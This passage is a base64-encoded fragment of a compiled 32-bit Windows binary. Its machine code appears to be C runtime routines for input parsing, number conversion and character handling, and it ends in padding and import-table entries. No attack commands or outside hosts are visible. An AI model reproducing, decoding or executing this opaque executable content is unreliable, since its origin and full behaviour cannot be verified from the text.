AdS0PtsNQ/xUQYwEQWYXAdB6LhTD9////hRT9//9rwAqNRBjQiYUw/f//6doAAACD+04Pj5cAAAAPhMsAAACD+yoPhIAAAACD+0YPhLkAAACD+0l0FIP7TA+FgAAAAP6FLv3//+mgAAAAD7dOAmaD+TZ1JY1GBGaDODR1HP+F/Pz//4m9DP3//4m9EP3//4mFGP3//4vw63Fmg/kzdQmNRgRmgzgydOdmg/lkdFxmg/lpdFZmg/lvdFBmg/l4dEpmg/lYdRnrQv6FJ/3//+s6g/todCmD+2x0DYP7d3QX/oU7/f//6yONRgJmgzhsdI3+hS79///+hS/9///rDP6NLv3///6NL/3//4C9O/3//wAPhNn+//+AvSf9//8AdRmLhez8//+LGImF5Pz//4PABImF7Pz//+sCM9uAvS/9//8AiZ34/P//xoU7/f//AHUdD7cGZoP4U3QNxoUv/f//AWaD+EN1B8aFL/3///+LhRj9//8PtzCDziCD/m50SoP+Y3QYg/57dBP/tSj9//+NvTT9///oj/n//+sR/7Uo/f///4U0/f//6OolAAAPt8CJhTz9//+4//8AAFlmO4U8/f//D4SPCwAAg70U/f//AHQNg70w/f//AA+EMwsAAIqNJ/3//4TJdVaD/mN0CoP+c3QFg/57dUeLheT8//+LGIPABImF5Pz//4PABDP/iYXs/P//i0D8R4md+Pz//4mF6Pz//zvHcxqAvS/9//8AD47rCgAAM8BmiQPp5AoAADP/R4P+bw+P8AQAAA+EBQcAAIP+Yw+ExgQAAIP+ZA+E8wYAAA+O/AQAAIP+Z35Ag/5pdByD/m4PhekEAACLhTT9//+EyQ+E9wkAAOkeCgAAamReai1YZjuFPP3//w+F/wQAAMaFJf3//wHp/wQAAGotWDPbZjuFPP3//3UNi40c/f//ZokBi9/rDGorWGY7hTz9//91If+NMP3///+1KP3///+FNP3//+irJAAAD7fAWYmFPP3//4O9FP3//wB1B4ONMP3////3hTz9//8A/wAAD4WNAAAAD7aFPP3//1D/FRBjARBZhcB0eouFMP3///+NMP3//4XAdGpmD76FPP3//4uNHP3///+FIP3//2aJBFmNhQT9//9QjYVA/f//UENTjb0c/f//jbUA/f//6ND2//+DxAyFwA+E2wkAAP+1KP3///+FNP3//+gJJAAAD7fAWYmFPP3//6kA/wAAD4Rz////x4Xw/P//LgAAAP8VJGMBEIsNGGMBEP8x/zCNhfD8//9Q/xUUYwEQD7eF8Pz//w++jTz9//+DxAw7wQ+FBwEAAIuFMP3///+NMP3//4XAD4TzAAAA/7Uo/f///4U0/f//6I8jAACLjRz9//8Pt8CJhTz9//9mi4Xw/P//ZokEWY2FBP3//1CNhUD9//9QQ1ONvRz9//+NtQD9///o//X//4PEEIXAD4QKCQAA94U8/f//AP8AAA+FjAAAAA+2hTz9//9Q/xUQYwEQWYXAdHmLhTD9////jTD9//+FwHRpi4Uc/f//ZouNPP3///+FIP3//2aJDFiNhQT9//9QjYVA/f//UENTjb0c/f//jbUA/f//6In1//+DxAyFwA+ElAgAAP+1KP3///+FNP3//+jCIgAAD7fAWYmFPP3//6kA/wAAD4R0////g70g/f//AA+ElQEAAGplWGY7hTz9//90EGpFWGY7hTz9//8PhXkBAACLhTD9////jTD9//+FwA+EZQEAAIuNHP3//2plWGaJBFmNhQT9//9QjYVA/f//UENTjb0c/f//jbUA/f//6O30//+DxAyFwA+E+AcAAP+1KP3///+FNP3//+gmIgAAWQ+3wGotWYmFPP3//2Y7yHUuUYuNHP3//1hmiQRZjYUE/f//UI2FQP3//1BDU+ie9P//g8QMhcAPhKkHAADrDGorWGY7hTz9//91M4uFMP3///+NMP3//4XAdQghhTD9///rG/+1KP3///+FNP3//+ixIQAAD7fAWYmFPP3///eFPP3//wD/AAAPhYwAAAAPtoU8/f//UP8VEGMBEFmFwHR5i4Uw/f///40w/f//hcB0aYuFHP3//2aLjTz9////hSD9//9miQxYjYUE/f//UI2FQP3//1BDU429HP3//421AP3//+jn8///g8QMhcAPhPIGAAD/tSj9////hTT9///oICEAAA+3wFmJhTz9//+pAP8AAA+EdP////+1KP3///+NNP3///+1PP3//+hu9P//g70g/f//AFlZD4SmBgAAgL0n/f//AA+F7gUAAIu9AP3//4u1HP3///+FCP3//zPAjXw/AldmiQRe/xUAYwEQi9hZhdsPhGsGAABXVlP/FcBiARD/tfD8//8PvoUu/f//U/+1+Pz//0hQ6IoeAABT/xXsYgEQg8Qg6Y0FAACDvRT9//8AahBYD4WCAQAA/4Uw/f//6XcBAACLxoPocA+ECQIAAIPoAw+EVwEAAEhID4T/AQAAg+gDD4Qy+///g+gDdDVmi4U8/f//i5UY/f//ZjkCD4W2BQAA/o0m/f//hMkPhSQFAACLheT8//+Jhez8///pEwUAAGpA6QcBAABqK1hmO4U8/f//dTX/jTD9//91EoO9FP3//wB0CcaFO/3//wHrG/+1KP3///+FNP3//+i/HwAAD7fAWYmFPP3//2owWGY7hTz9//8PhboBAAD/tSj9////hTT9///olB8AAFkPt8BqeFmJhTz9//9mO8h0UGpYWWY7yHRIib0g/f//g/54dBuDvRT9//8AdA7/jTD9//91Bv6FO/3//2pv613/tSj9////jTT9//9Q6Lzy//9Zx4U8/f//MAAAAOlGAQAA/7Uo/f///4U0/f//6CEfAACDvRT9//8AD7fAWYmFPP3//3QVg60w/f//Ajm9MP3//30G/oU7/f//anhe6QYBAABqIIO9FP3//wBYdAILx4C9L/3//wB+A4PIAoTJdAODyASD/nt1QI2NCP3//1H/tej8//+Njfj8////tSj9////tTD9//9RjY00/f//UY2NPP3//1GNjRj9//9RUOg69P//g8Qk6zb/tej8//+NjTz9////tTD9//+NlQj9//9Ri40o/f//agBQjZ34/P//jb00/f//6B3y//+DxBSFwA+FDgQAAOleAwAAxoUu/f//AWotWGY7hTz9//91CcaFJf3//wHrDGorWGY7hTz9//91Nf+NMP3//3USg70U/f//AHQJxoU7/f//Aesb/7Uo/f///4U0/f//6PUdAAAPt8CJhTz9//9Zg738/P//AA+EiwEAAIC9O/3//wAPhU0BAAC7AP8AAIP+eA+EgQAAAIP+cHR8hZ08/f//D4UVAQAAD7aFPP3//1D/FRBjARBZhcAPhP4AAACD/m91MWo4WGY7hTz9//8PhukAAACLhQz9//+LjRD9//8PpMEDweADiYUM/f//iY0Q/f//63pqAGoK/7UQ/f///7UM/f//6KUbAACJhQz9//+JlRD9///rV4WdPP3//w+FmQAAAA+2hTz9//9Q/xUgYwEQWYXAD4SCAAAAi4UM/f//i40Q/f///7U8/f//D6TBBMHgBImFDP3//4mNEP3//+g48P//D7fAWYmFPP3//w+3hTz9////hSD9//+D6DCZAYUM/f//EZUQ/f//g70U/f//AHQI/40w/f//dDn/tSj9////hTT9///orBwAAA+3wFmJhTz9///p0f7///+1KP3///+NNP3///+1PP3//+gA8P//WVmAvSX9//8AD4QtAQAAi4UM/f//i40Q/f//99iD0QD32YmFDP3//4mNEP3//+kJAQAAgL07/f//AIud9Pz//w+F5QAAAL8A/wAAg/54dEeD/nB0QoW9PP3//w+FsQAAAA+2hTz9//9Q/xUQYwEQWYXAD4SaAAAAg/5vdRVqOFhmO4U8/f//D4aFAAAAweMD6zhr2wrrM4W9PP3//3VzD7aFPP3//1D/FSBjARBZhcB0YP+1PP3//8HjBOgJ7///D7fAWYmFPP3//w+3hTz9////hSD9//+DvRT9//8AjVwD0Imd9Pz//3QI/40w/f//dDn/tSj9////hTT9///ogxsAAA+3wFmJhTz9///pOf////+1KP3///+NNP3///+1PP3//+jX7v//WVmAvSX9//8AdAj324md9Pz//4P+RnUHg6Ug/f//AIO9IP3//wAPhPIAAACAvSf9//8AdT7/hQj9//+Lnfj8//+LhfT8//+Dvfz8//8AdBOLhQz9//+JA4uFEP3//4lDBOsQgL0u/f//AHQEiQPrA2aJA4OFGP3//wL+hSb9//+LtRj9//8z/+sl/7Uo/f///4U0/f//6MIaAABZZosOD7fARkaJhTz9//9mO8h1Ybj//wAAZjuFPP3//3UNZoM+JXVbZoN+Am51VA+3BmY7xw+FPPL//+tG/7Uo/f///7U8/f//6zHGAwD/FShjARDHAAwAAADrJ/+1KP3///+1PP3//+jP7f//ib3g/P//6wz/tSj9//9Q6Lvt//9ZWYO9BP3//wFbdQ3/tRz9////FexiARBZuP//AABmO4U8/f//dRSLhQj9//+FwHUsOIUm/f//dSTrIoO94Pz//wF1E/8VKGMBEIu9CP3//zP26V3x//+LhQj9//9fi038M81e6IfH///Jw4v/VYvsi0UIg+wgVjP2O8Z1Hv8VKGMBEFZWVlZWxwAWAAAA6EvH//+DxBSDyP/rNTl1EHTdi00Mgfn///8/d9L/dRSJRej/dRCJReCNBAm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